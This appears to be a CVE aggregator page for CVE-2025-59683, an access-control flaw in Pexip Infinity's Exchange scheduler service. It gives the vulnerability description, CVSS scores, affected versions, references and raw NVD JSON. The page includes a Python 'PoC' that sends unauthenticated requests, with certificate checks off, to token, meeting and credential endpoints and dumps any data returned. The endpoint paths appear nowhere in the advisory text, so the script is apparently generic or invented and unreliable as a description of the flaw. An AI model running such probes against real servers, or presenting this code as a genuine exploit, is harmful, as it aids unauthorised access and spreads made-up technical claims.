CVE-2025-59683

Description

Pexip Infinity 15.0 through 38.0 before 38.1 has Improper Access Control in the Secure Scheduler for Exchange service, when used with Office 365 Legacy Exchange Tokens. This allows a remote attacker to read potentially sensitive data and excessively consume resources, leading to a denial of service.

CVSS Details

CVSS Score

8.2

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:pexip:pexip_infinity:*:*:*:*:*:*:*:* - VULNERABLE

Pexip Infinity >= 15.0

Pexip Infinity < 38.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-59683 PoC - Pexip Infinity Unauthorized Access
# Note: This PoC is for educational purposes only

import requests
import json

TARGET = "https://target-pexip-server.com"
CVE_ID = "CVE-2025-59683"

def check_vulnerability():
    """Check if target is vulnerable to CVE-2025-59683"""
    endpoints = [
        "/api/v2/scheduler/exchange/tokens",
        "/api/v2/scheduler/exchange/meetings",
        "/api/v2/scheduler/exchange/credentials"
    ]
    
    vulnerabilities_found = []
    
    for endpoint in endpoints:
        try:
            response = requests.get(
                f"{TARGET}{endpoint}",
                timeout=10,
                verify=False
            )
            
            if response.status_code == 200:
                vulnerabilities_found.append({
                    "endpoint": endpoint,
                    "status": response.status_code,
                    "data": response.text[:500]
                })
        except requests.RequestException as e:
            print(f"Error accessing {endpoint}: {e}")
    
    return vulnerabilities_found

if __name__ == "__main__":
    print(f"Testing {CVE_ID}...")
    results = check_vulnerability()
    if results:
        print("VULNERABLE: Unauthorized access possible")
        print(json.dumps(results, indent=2))
    else:
        print("Target may not be vulnerable")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-59683
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-59683
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-59683/
[4] VulDB https://vuldb.com/cve/CVE-2025-59683
[5] https://docs.pexip.com/admin/security_bulletins.htm

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-59683", "sourceIdentifier": "[email protected]", "published": "2025-12-25T05:16:07.900", "lastModified": "2026-01-05T19:07:06.153", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Pexip Infinity 15.0 through 38.0 before 38.1 has Improper Access Control in the Secure Scheduler for Exchange service, when used with Office 365 Legacy Exchange Tokens. This allows a remote attacker to read potentially sensitive data and excessively consume resources, leading to a denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pexip:pexip_infinity:*:*:*:*:*:*:*:*", "versionStartIncluding": "15", "versionEndExcluding": "38.1", "matchCriteriaId": "1B606099-9A1C-4744-8FEA-EEB7EFDA95EF"}]}]}], "references": [{"url": "https://docs.pexip.com/admin/security_bulletins.htm", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}